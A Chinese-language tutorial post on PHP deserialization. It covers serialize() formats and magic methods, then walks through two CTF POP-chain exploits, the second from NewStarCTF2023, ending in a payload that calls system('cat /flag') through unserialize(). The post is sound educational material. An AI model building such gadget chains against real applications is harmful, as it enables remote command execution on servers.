php反序列化的学习
PHP反序列化
1.基础知识
- PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
serialize()
函数。 - PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用
unserialize()
函数。 - PHP反序列化漏洞:如果代码中使用了反序列化
unserialize()
函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。
2.序列化格式
例子如下
<?php
class A {
public $x;
private $y;
public function __construct($x, $y)
{
$this->x = $x;
$this->y = $y;
}
}
$number = 666;
$str = 'str1ve';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$a = new A('str1ve', true);
var_dump(serialize($number)); //string(6) "i:666;"
var_dump(serialize($str)); //string(13) "s:6:"str1ve";"
var_dump(serialize($bool)); //string(4) "b:1;"
var_dump(serialize($null)); //string(2) "N;"
var_dump(serialize($arr)); //string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
var_dump(serialize($a)); //string(48) "O:1:"A":2:{s:1:"x";s:6:"str1ve";s:4:"Ay";b:1;}"
?>
输出结果如下:
string(6) "i:666;"
string(13) "s:6:"str1ve";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(48) "O:1:"A":2:{s:1:"x";s:6:"str1ve";s:4:"Ay";b:1;}"
可以看到不同的php数据结构序列化后结构如下:
所以序列化对于不同类型得到的字符串格式为:
- String :
s:字符串长度:"字符串值";
- Integer :
i:数值;
- Boolean :
b:value;(value为1或0)
- Null :
N;
- Array :
a:数组大小:{键的描述;值的描述;键的描述;值的描述; ...} (描述值同String或Int型的序列化格式)
- Object :
O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; ...}
除此之外,还要注意类内不同限定的属性及方法序列化后格式也不同,如下:
<?php
class A
{
private $a="private";
}
class B
{
protected $b="protected";
}
class C
{
public $c="public";
}
$aa = new A();
$bb = new B();
$cc = new C();
echo serialize($aa);
echo serialize($bb);
echo serialize($cc);
?>
输出如下:
O:1:"A":1:{s:4:" A a";s:7:"private";}
O:1:"B":1:{s:4:" * b";s:9:"protected";}
O:1:"C":1:{s:1:"c";s:6:"public";}
3.魔术方法
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。 魔术方法包括:
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
其实在反序列化漏洞中经常利用的有:__construct()
,__destruct()
,__sleep()
,__wakeup()
,__toString()
,__invoke()
,__call()
这几个,所以下面针对这几个作具体说明
1. __construct(),类的构造函数
php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。
1、 构造方法的作用
通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。
2、 构造方法的在类中的声明格式
function __constrct([参数列表]){
方法体 //通常用来对成员属性进行初始化赋值
}
3、 在类中声明构造方法需要注意的事项
1、在同一个类中只能声明一个构造方法,原因是,PHP不支持构造函数重载。
2、构造方法名称是以两个下画线开始的__construct()
例子:
<?php
class Poc
{
public $name;
public $age;
public $sex;
/**
* 显示声明一个构造方法且带参数
*/
public function __construct($name="", $sex="男", $age=19)
{
$this->name = $name;
$this->sex = $sex;
$this->age = $age;
}
/**
* say 方法
*/
public function say()
{
echo "我是:" . $this->name . ",性别:" . $this->sex . ",年龄:" . $this->age;
}
}
创建对象$Poc且不带任参数
$Poc1 = new Poc();
echo $Poc1->say(); //输出:我是:,性别:男,年龄:19
创建对象$Person2且带参数“str1ve”
$Poc2 = new Poc("str1ve");
echo $Poc2->say(); //输出:我是:str1ve,性别:男,年龄:19
2、__destruct(),类的析构函数
通过上面的讲解,现在我们已经知道了什么叫构造方法。那么与构造方法对应的就是析构方法。
析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集等。
析构方法是PHP5才引进的新内容。
析造方法的声明格式与构造方法 __construct()
比较类似,也是以两个下划线开始的方法 __destruct()
,这种析构方法名称也是固定的。
1、 析构方法的声明格式
function __destruct()
{
//方法体
}
注意:析构函数不能带有任何参数。
2、 析构方法的作用
一般来说,析构方法在PHP中并不是很常用,它属类中可选择的一部分,通常用来完成一些在对象销毁前的清理任务。
例如
<?php
class Poc{
public $name;
public $age;
public $sex;
public function __construct($name="", $sex="男", $age=19)
{
$this->name = $name;
$this->sex = $sex;
$this->age = $age;
}
/**
* say 说话方法
*/
public function say()
{
echo "我叫:".$this->name.",性别:".$this->sex.",年龄:".$this->age;
}
/**
* 声明一个析构方法
*/
public function __destruct()
{
echo "我的名字叫".$this->name;
}
}
$Poc1 = new Poc("str1ve");
unset($Poc1); //销毁上面创建的对象$Poc1
运行结果:
我的名字叫str1ve
3、 __sleep(),执行serialize()时,先会调用这个函数
serialize()
函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,则该方法会优先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误
注意:
__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。
作用:
__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
请参考如下代码:
<?php
class Poc
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=19, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
/**
* _sleep()
*/
public function __sleep() {
echo "执行serialize()时,先会调用这个函数\n";
$this->name = base64_encode($this->name);
return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
}
}
$poc = new Poc('str1ve'); // 初始赋值
echo serialize($poc);
运行结果
执行serialize()时,先会调用这个函数
O:3:"Poc":2:{s:4:"name";s:8:"c3RyMXZl";s:3:"age";i:19;}
4、 __wakeup(),执行unserialize()时,先会调用这个函数
_wakeup()与__sleep()函数相反,一个执行serialize()进行序列化时调用,一个执行unserialize()进行序列化时调用
unserialize()会检查是否存在一个 ____wakeup() 方法。如果存在,则会先调用 __wakeup方法
作用:
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
例如
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=19, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
/**
* _sleep()
*/
public function __sleep() {
echo "执行serialize()时,先会调用这个函数\n";
$this->name = base64_encode($this->name);
return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
}
/**
* __wakeup
*/
public function __wakeup() {
echo "执行unserialize()时,先会调用这个函数\n";
$this->name = 1;
$this->sex = '男';
// 这里不需要返回数组
}
}
$person = new Person('str1ve'); // 初始赋值
var_dump(serialize($person));
var_dump(unserialize(serialize($person)));
运行结果
执行serialize()时,先会调用这个函数
string(58) "O:6:"Person":2:{s:4:"name";s:8:"c3RyMXZl";s:3:"age";i:19;}"
执行serialize()时,先会调用这个函数
执行unserialize()时,先会调用这个函数
object(Person)#2 (3) {
["sex"]=>
string(3) "男"
["name"]=>
int(1)
["age"]=>
int(19)
}
5、 __toString(),类被当成字符串时的回应方法
作用:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 `echo $obj;` 应该显示些什么。
此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR
级别的致命错误。
不能在 __toString() 方法中抛出异常。这么做会导致致命错误。
例子:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=19, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __toString()
{
return '1111';
}
}
$person = new Person('str1ve'); // 初始赋值
echo $person;
结果:1111
那么如果类中没有 __toString() 这个魔术方法运行会发生报错
6、 __invoke(),调用函数的方式调用一个对象时的回应方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
例子:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=19, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __invoke() {
echo '一个对象';
}
}
$person = new Person('str1ve'); // 初始赋值
$person();
结果:一个对象
7、 __call(),在对象中调用一个不可访问方法时调用。
该方法有两个参数,第一个参数 $function_name
会自动接收不存在的方法名,第二个 $arguments
则以数组的方式接收不存在方法的多个参数。
作用:
为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。
该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
例子:
<?php
class Person
{
function say()
{
echo "Hello, world!";
}
/**
* 声明此方法用来处理调用对象中不存在的方法
*/
function __call($funName, $arguments)
{
echo "你所调用的函数:" . $funName . "(参数:" ; // 输出调用不存在的方法名
print_r($arguments); // 输出调用不存在的方法时的参数列表
echo ")不存在!\n"; // 结束换行
}
}
$Person = new Person();
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("str1ve", "苹果");
$Person->say();
结果:
你所调用的函数:run(参数:Array
(
[0] => teacher
)
)不存在!
你所调用的函数:eat(参数:Array
(
[0] => str1ve
[1] => 苹果
)
)不存在!
Hello, world!
4.反序列化漏洞分析
说了这么多,下面就通过几个例子看看到底如何利用php反序列化进行攻击。
1.全面考察
代码如下
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag"
}
}
$a = $_GET['string'];
unserialize($a);
?>
思路:
- 要想获得输出flag,那么我们肯定要想办法调用GetFlag类的里的
get_flag()
方法。 - 在string1类我们可以看到,只要把
$str1
实例化为GetFlag类的对象,然后调用想办法调用__toString()
方法即可,那就找有没有地方把对象当作字符串了。 - 往上看,func类的
__invoke()
方法中有用.
来进行字符串拼接的代码,那么只要把$mod1
实例化为string类的对象,然后再调用该__invoke()
方法即可,那就找有没有地方把对象当作函数来调用了。 - 发现在funct类的
__call()
中有$s1();
可以利用,只需要把$mod1
实例化为func类的对象,然后再调用该__call()
方法,那就找哪里调用了未声明的函数。 - 再
Call类
中的test1()
方法调用了不存在的test2()
方法,所以只需要把$mod1
实例化为funct类的对象,然后再调用该test1()
方法。 - 看到在start_gg类中的
__destruct()
方法中正好调用了test1()
方法,那么只要$mod1
实例化为Call类的对象即可。 - 想要调用start_gg类中的
__destruct()
方法,只有实例化一个它的对象即可,这个对象在销毁时会自动调用__destruct()
函数。 - 如何在每个类中实例化另一个类呢?可以利用类的构造函数,只要这个类被实例化,构造函数就自动实例化了你所需要的那个类。
exp:
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag {}
$a = new start_gg();
echo serialize($a);
?>
输出结果:O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
2.NewstarCTF2023 WEB [WEEK3] POP Gadget
源码如下:
<?php
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。
由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。
在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。
exp:
<?php
class Begin{
public $name;
public function __destruct()
{
}
}
class Then{
private $func;
public function __construct()
{
$s=new Super();
$this->func=$s;
}
public function __toString(){
($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj=new CTF();//实例化CTF()后给这里的obj赋值
}
public function __call($func, $vars)
{
$this->obj->end();//调用了CTF()里的end()方法
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();//为protected $obj赋值
}
public function __invoke()
{
$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function __construct()
{
$w=new WhiteGod();
$this->handle=$w;
}
public function end()
{
unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
}
}
class WhiteGod{
public $func='system';
public $var="cat /flag";
public function __unset($var)
{
($this->func)($this->var);
}
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b));